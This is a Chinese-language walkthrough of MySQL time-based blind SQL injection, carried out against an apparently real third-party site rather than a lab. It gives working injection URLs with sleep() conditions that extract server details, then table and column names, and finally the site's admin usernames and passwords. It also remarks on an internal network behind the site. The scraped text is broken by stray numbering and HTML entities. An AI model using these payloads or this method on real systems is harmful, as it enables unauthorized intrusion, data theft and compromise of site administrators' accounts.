5,mysql_blind(高級盲注+基于時間)

1、Mysql 高級盲注技巧之時間盲注0x01 基于時間的盲注關于盲注的基本概念,在之前的文檔中已有詳細說明,這里就不在贅述了,單單就只簡單說明下什么是基于時間的盲注,其實,也非常簡單,我們知道,布爾型盲注是依靠判斷頁面返回的成功與否來斷定我們的sql到底有沒有被執(zhí)行,而時間盲注,在利用上基本類似,此時它并不是靠觀察頁面返回,而是靠我們設置的那個延遲時長來判斷我們的語句到底有沒有被執(zhí)行,廢話少說,我們依然是從實戰(zhàn)去理解整個基于時間盲注的過程0x02 今天用于實例演示的時間盲注點,如下,頁面正常情況下是這個樣子bro.in/news_details.php?NId=14嘗試

2、經典的進行干擾后,頁面異常,這也正是我們想看到的,好,先繼續(xù)bro.in/news_details.php?NId=14當條件為真時,頁面正常返回,不要被它得表象所迷惑,其實,它是個字符型的注入,自己閉合的時候要注意點兒bro.in/news_details.php?NId=14' and 12=12 and '112'='112 條件為假時,頁面返回異常,說明注入確實存在,既然這樣,下面就開始我們今天的重點,利用時間延遲來查詢數(shù)據(jù)bro.in/news_details.php?NId

3、=14' and 12=121 and '112'='112 0x03 首先,利用時間延遲搜集各類數(shù)據(jù)庫信息查詢目標數(shù)據(jù)庫版本,如果你給定的數(shù)值和截取的那個字符的ascii碼值相等,它就會按照你給定的那個時長來延遲執(zhí)行,此時,你會發(fā)現(xiàn)你的瀏覽器會一直處于阻塞狀態(tài),如果不等,則頁面會瞬間返回,還是跟之前一樣,我們依然是利用burpsuite來幫我們跑,手工確實太累,也沒必要,最終,遍歷得到的數(shù)據(jù)庫版本號為 5.6.32-78.1-logbro.in/news_details.php?NId=14' and if(ascii(mid

4、(select version(),1,1)=53),sleep(13),1) and '112'='112查詢當前數(shù)據(jù)庫用戶名,正常情況,用burpsuite跑時間盲注,如果匹配到了正確數(shù)字,中間會有個短暫的卡頓其實就是你設置的那個延遲時長,比如,在這里,你會發(fā)現(xiàn),當它跑到111時就卡主了,這是因為它匹配到了112,所以,這個值就為112,循環(huán)往復,逐個遍歷,最終得到的數(shù)據(jù)庫用戶名結果為 previewmysite4,看到這種,就是典型的站庫分離,從此信息我們可以知道,這臺機器有內網(wǎng),而且數(shù)據(jù)庫也在內網(wǎng)的機器上,是10的內網(wǎng)段,經驗判斷,內網(wǎng)應該不

5、小bro.in/news_details.php?NId=14' and if(ascii(mid(select user(),1,1)=53),sleep(13),1) and '112'='112查詢當前所在的庫名 ,遍歷的最終結果為 probrobro.in/news_details.php?NId=14' and if(ascii(mid(select database(),1,1)=53),sleep(13),1) and '112'='112查詢數(shù)據(jù)存放路徑, 遍歷的

6、最終結果為 /var/lib/mysql/moo25/bro.in/news_details.php?NId=14' and if(ascii(mid(select datadir),1,1)=53),sleep(13),1) and '112'='112查詢數(shù)據(jù)庫的安裝路徑 , 遍歷的最終結果為/usrbro.in/news_details.php?NId=14' and if(ascii(mid(select basedir),1,1)=53),sleep(13),1) and '112&#

7、39;='112查詢機器的系統(tǒng)平臺, 遍歷的最終結果為 debian-linux-gnubro.in/news_details.php?NId=14' and if(ascii(mid(select version_compile_os),1,1)=53),sleep(13),1) and '112'='112查詢當前數(shù)據(jù)庫機器的機器名, 遍歷的最終結果為 bro.in/news_details.php?NId=14' and if(ascii(mid(select hostname),1,1)

8、=53),sleep(13),1) and '112'='1120x04 查出所有數(shù)據(jù)庫名,最終遍歷出所有的數(shù)據(jù)庫名分別為,因為當前是普通用戶權限,所以就只能看到這兩個庫information_schema,probrobro.in/news_details.php?NId=14' and if(ascii(mid(select schema_name from information_schema.schemata limit 0,1),1,1)=105),sleep(10),1) and '112'='112

9、0x05 有了庫 probro,我們就可以去里面找管理表,很快我們就遍歷到了真正的管理表,表名為 admin_usersbro.in/news_details.php?NId=14' and if(ascii(mid(select table_name from information_schema.tables where table_schema=0x70726f62726f limit 0,1),1,1)=98),sleep(10),1) and '112'='1120x06 現(xiàn)在管理表也有了,我們還需要知道對應的賬號密碼字段是啥

10、,最終我們通過遍歷所知,有效的賬號密碼字段名分別為 FullName, Passwordbro.in/news_details.php?NId=14' and if(ascii(mid(select column_name from information_schema.columns where table_name=0x61646d696e5f7573657273 limit 0,1),1,1)=105),sleep(5),1) and '112'='1120x07 好了,現(xiàn)在字段名和表名都有了,剩下的就只差把網(wǎng)站管理員的賬號密碼數(shù)

11、據(jù)都查出來了bro.in/news_details.php?NId=14' and if(ascii(mid(select FullName from admin_users limit 0,1),1,1)=65),sleep(5),1) and '112'='112bro.in/news_details.php?NId=14' and if(ascii(mid(select Password from admin_users limit 0,1),1,1)=65),sleep(5),1) and '112'='112最終,我們得到了完整網(wǎng)站管理員的賬號密碼,至此,整個基于時間的盲注,就完成了,都非常簡單主要還是理解,下面的事情,就是找到目標網(wǎng)站